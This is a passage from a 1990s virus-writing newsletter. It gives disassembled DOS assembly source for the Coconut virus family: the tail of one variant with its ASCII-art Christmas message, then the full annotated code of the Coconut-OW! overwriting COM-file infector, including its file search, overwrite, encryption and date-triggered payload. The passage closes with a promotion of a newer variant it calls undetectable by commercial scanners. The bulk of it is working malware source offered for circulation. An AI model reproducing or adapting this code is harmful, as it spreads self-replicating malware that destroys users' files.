        DB 0Dh,0A, '   o@@@@@@@@@      @@@@@@@@@@@      @@@@@@@@@@o'

        DB 0Dh,0A, '  @@@@@@@@@@@      @@@@@@@@@@@      @@@@@@@@@@@@'

        DB 0Dh,0A, ' @@@@@@@@@@@@@    @@@@@@@@@@@@@    @@@@@@@@@@@@@@'

        DB 0Dh,0A, '@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@'

        DB 0Dh,0A, '@@@@  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  @@@@'

        DB 0Dh,0A, '@@@@   @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@   @@@@'

        DB 0Dh,0A, ' @@@@    "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"    o@@@'

        DB 0Dh,0A, '  @@@o     """@@@@@@@@@@@@@@@@@@@@@@"""     o@@@'

        DB 0Dh,0A, '   @@@o          "@@@"@@@@@@"@@@"          o@@@'

        DB 0Dh,0A, '    @@@@o          @          @          o@@@"'

        DB 0Dh,0A, '     "@@@@o                            o@@@@'

        DB 0Dh,0A, '       "@@@@@o     @          @     o@@@@@"'

        DB 0Dh,0A, '          ""@@@@@o@@@oooooooo@@@o@@@@@""'

        DB 0Dh,0A, '             ""@@@@@@@@@@@@@@@@@@@@""'

        DB 0Dh,0A, '                 ""@@@@@@@@@@@@@""'

        DB 0Dh,0A, '                                             '

        DB 0Dh,0A, '   *                                          *'

        DB 0Dh,0A, '  ***                                        ***'

        DB 0Dh,0A, ' *****   Virus coconut wishes you a merry   *****'

        DB 0Dh,0A, '*******  christmas and a happy new year!!  *******'

        DB 0Dh,0A, '   *                                          *'

        DB 0Dh,0A, '   *                                          *'

        DB 0Dh,0A,'$'

;        

COM_STRING DB '*.COM',0

;

ENCODE:

        CALL    PROC_1                               

LAB_ENCODE_01:

        CMP     WORD PTR DS:[BP+084Dh],+01       ;[P_COUNT]             

        DEC     WORD PTR DS:[BP+084Dh]           ;[P_COUNT]                 

        JB      LAB_08                              

        LODSW                                      

        ROR     AX,CL                              

        XOR     AX,CX                              

        ADD     AX,CX                              

        STOSW                                      

        JMP     LAB_ENCODE_01                               

LAB_08:

        RET                                        

PROC_1:

        MOV     WORD PTR DS:[BP+084Dh],02EC      ;[P_COUNT]            

        LEA     SI,[BP+021Bh]                   ;(MOVE_POINTER)                       

        MOV     CX,DS:[BP+0850]                 ;[P_KEY]                       

        MOV     DI,SI                              

        RET                                        

DECODE:

        CALL    PROC_1                               

LAB_DECODE_01:

        CMP     WORD PTR DS:[BP+084Dh],+01      ;[P_COUNT]             

        DEC     WORD PTR DS:[BP+084Dh]          ;[P_COUNT]                 

        JB      LAB_09                              

        LODSW                                      

        SUB     AX,CX                              

        XOR     AX,CX                              

        ROL     AX,CL                              

        STOSW                                      

        JMP     LAB_DECODE_01                               

LAB_09:

        RET                                        

;

INT_3_OFFSET    DB 0F4,06

INT_3_SEGMENT   DB 70,00

P_JUMP          DB 0E9,7Dh,00

SIGNATURE       DB 49,4E

ORIGINAL_BYTES  DB 90,90,90,90,90

PARENT_DIR      DB '..',0

P_COUNT         DB 0FF,0FF

U_K             DB 01

P_KEY           DB 00,00

P_DIRECTORY     DB '\'

;------------------

; XXXX:08CE  Directory Puffer

; XXXX:090E  New_DTA_Adr

;

;           090E reserved

;           0923 attrib.

;           0924 time

;           0926 date

;           0928 file length (low)

;           092A file length (high)

;           092C file name

;



And here is the Coconut-OW! virus;



; -------------------------------------------------------------

; The COCONUT-OW! virus  (Coconut.1323)

; (analysis by DooMSday)

; =============================================================

; * direct action, overwriting com-file infector

; * activation date: August 31st ---> displays message

; * no date/time change

; * encrypted

; * tries to infect all files in the current directory

; * contains a bug (?) (see EOF)

; * virus author: The King Lizard

; ------------------------------------------------------------------------

.MODEL TINY

.RADIX 16

.CODE

	ORG 100

START:

	CALL    DECODE                               

	JMP     short LAB_01                              

PROC_02:

	CALL    NEW_KEY                               

	MOV     DX,009E                            

	CALL    ENCODE                              

	MOV     AX,4300         ;read file attribute                            

	INT     01                                 

	MOV     [ATTRIBUTE],CX                          

	XOR     CX,CX                              

	MOV     AX,4301         ;set file attribute                            

	INT     01                                 

	MOV     AX,3D02         ;open file: read/write                            

	INT     01                                 

	JB      PAYLOAD                               

	XCHG    BX,AX                                

	MOV     AX,5700         ;get file date/time                            

	INT     01                                 

	MOV     [FILE_DATE],DX  ;and save                          

	MOV     [FILE_TIME],CX                            

	MOV     DX,0100                            

	MOV     AH,40           ;write file                              

	MOV     CX,052Bh                            

	INT     01                                 

	MOV     AX,5701         ;set file date/time                            

	MOV     CX,[FILE_TIME]                          

	MOV     DX,[FILE_DATE]                   

	INT     01                                 

	MOV     AH,3E           ;close file                              

	INT     01                                 

	MOV     DX,009E                            

	MOV     CX,[ATTRIBUTE]                          

	MOV     AX,4301         ;set file attribute                            

	INT     01                                 

	CALL    DECODE                               

	RET                                        

LAB_01:

	CLI                     ;set Int 01h-vector                                        

	PUSH    DS              ;to Int 21h-routine                   

	XOR     AX,AX                              

	MOV     DS,AX                              

	MOV     AX,word ptr[offset start-0FC]   ;[0004]

	MOV     CS:[INT_01_OFFSET],AX                          

	MOV     AX,word ptr[offset start-0FA]   ;[0006]                          

	MOV     CS:[INT_01_SEGMENT],AX                          

	MOV     AX,word ptr[offset start-7C]    ;[0084]                          

	MOV     word ptr[offset start-0FC],AX   ;[0004]                          

	MOV     AX,word ptr[offset start-7A]    ;[0086]                          

	MOV     word ptr[offset start-0FA],AX   ;[0006]                          

	POP     DS                                 

	STI                                        

	MOV     DX,01D9         ;offset (FILE)                            

	MOV     AH,4E           ;find first                              

	MOV     CX,0007                            

	INT     01                                 

	JNB     LAB_02                              

	JMP     short PAYLOAD                               

LAB_02:

	CALL    PROC_02                               

	MOV     DX,0080                            

	MOV     AH,4F           ;find next                              

	INT     01                                 

	JNB     LAB_03                              

	JMP     short PAYLOAD                               

LAB_03:

	JMP     short LAB_02                              

PAYLOAD:

	MOV     AH,2A           ;get date                              

	INT     01                                 

	CMP     DH,08           ;month=8 ?                              

	JNZ     LAB_PAYLOAD_1                               

	CMP     DL,1F           ;day=31 ?                              

	JNZ     LAB_PAYLOAD_1                               

	MOV     AH,09           ;display string                              

	MOV     DX,0202         ;offset (MESSAGE)                            

	INT     01                                 

LAB_PAYLOAD_1:

	 CLI                                        

	 PUSH    DS                                 

	 XOR     AX,AX                              

	 MOV     DS,AX                              

	 MOV     AX,CS:[INT_01_OFFSET]                          

	 MOV     word ptr[offset start-0FC],AX  ;[0004]                          

	 MOV     AX,CS:[INT_01_SEGMENT]                          

	 MOV     word ptr[offset start-0FA],AX  ;[0006]                          

	 POP     DS                                 

	 STI                                        

	 INT     20                             ;exit to DOS                                 

NEW_KEY:

	 MOV     AH,2C                          ;get time                              

	 INT     01                                 

	 CMP     DX,+00                             

	 JZ      NEW_KEY                              

	 MOV     [KEY],DX                          

	 RET                                        

;       

	FILE db '*.COM',0

	INFO db '[Virus coconut, by The King Lizard]'

;

MESSAGE DB 0Dh,0A,'             ooooo@@@@@@@@@@@@@ooooo'

	DB 0Dh,0A,'          oo@@@@@@@@@@@@@@@@@@@@@@@@@oo'

	DB 0Dh,0A,'        oo@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@oo'

	DB 0Dh,0A,'      o@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@o'

	DB 0Dh,0A,'    o@@@@@@@@@    @@@@@@@@@@@@@    @@@@@@@@@o'

	DB 0Dh,0A,'   o@@@@@@@@@      @@@@@@@@@@@      @@@@@@@@@@o'

	DB 0Dh,0A,'  @@@@@@@@@@@      @@@@@@@@@@@      @@@@@@@@@@@@'

	DB 0Dh,0A,' @@@@@@@@@@@@@    @@@@@@@@@@@@@    @@@@@@@@@@@@@@'

	DB 0Dh,0A,'@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@'

	DB 0Dh,0A,'@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@'

	DB 0Dh,0A,'@@@@  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  @@@@'

	DB 0Dh,0A,'@@@@   @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@   @@@@'

	DB 0Dh,0A,' @@@@    "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"    o@@@'

	DB 0Dh,0A,'  @@@o     """@@@@@@@@@@@@@@@@@@@@@@"""     o@@@'

	DB 0Dh,0A,'   @@@o          "@@@"@@@@@@"@@@"          o@@@'

	DB 0Dh,0A,'    @@@@o          @          @          o@@@"'

	DB 0Dh,0A,'     "@@@@o                            o@@@@'

	DB 0Dh,0A,'       "@@@@@o                      o@@@@@"'

	DB 0Dh,0A,'          ""@@@@@oooooooooooooooo@@@@@""'

	DB 0Dh,0A,'             ""@@@@@@@@@@@@@@@@@@@@""'

	DB 0Dh,0A,'                 ""@@@@@@@@@@@@@""'

	DB 0Dh,0A,'$'

;

	DB 0,0                  ;?                                   

	COUNT           dw 0

	KEY             dw 0

;

	FILE_DATE       dw 0

	FILE_TIME       dw 0

	ATTRIBUTE       dw 0

;

	INT_01_OFFSET   dw 0

	INT_01_SEGMENT  dw 0



ENCODE:

	CALL    PROC_01                              

LAB_ENCODE_01:

	CMP     WORD PTR [COUNT],+00               

	JZ      LAB_ENCODE_02                               

	LODSW                                      

	ROR     AX,CL                              

	XOR     AX,CX                              

	ADD     AX,CX                              

	STOSW                                      

	DEC     WORD PTR [COUNT]                    

	JMP     short LAB_ENCODE_01                              

LAB_ENCODE_02:

	RET                                        

PROC_01:

	MOV     WORD PTR [COUNT],023E               

	MOV     SI,015E                            

	MOV     CX,[KEY]                          

	MOV     DI,SI                              

	RET                                        

DECODE:

	CALL    PROC_01                              

LAB_DECODE_1:

	CMP     WORD PTR [COUNT],+00                

	JZ      LAB_DECODE_2                              

	LODSW                                      

	SUB     AX,CX                              

	XOR     AX,CX                              

	ROL     AX,CL                              

	STOSW                                      

	DEC     WORD PTR [COUNT]                     

	JMP     short LAB_DECODE_1                              

LAB_DECODE_2:

	INT     3               ;BUG! (shouldn't it be "RET" ?)                                  



END START



        ----------------------------------------------



        And for those whom just cannot wait for more of the coconut family,

be sure to head on over to Virus Heaven for the newest addition to the

family, the COCONUT-2099 virus.  It is appending, non-resident w/ double

encryption, handler on int 24h, Antitracer, keyboard blocking, dot-dot

search and hooks int 3h.  It does not infect files exe files under 1k or

files over 500k.  It does not infect .COM files that have been renamed .EXE.

Un-offensive payload and is currently (March 5, 1997) undetectable by

commercial Virus scanners.



=============================================================================

SECTION - 9



                                The End



        Well so brings another close to the Virus Heaven Newsletter.  I

expect that you guys will leave me alone for a week or two before hounding

me about when issue #4 will be out.  I will admit this one took awhile to

get out, hell I have been working on it since before Christmas.  But

I have a few ideas for articles.  I may even be doing some research on

this next one, but that is all I will say for now. And of course, as always,

if you write an article send it in.  I do have one request though,

Please don't send me anymore TROJAN handbooks and tutorials.  This was it,

I wanna at least keep this thing as focused as a passed out drunkard on the

curb.





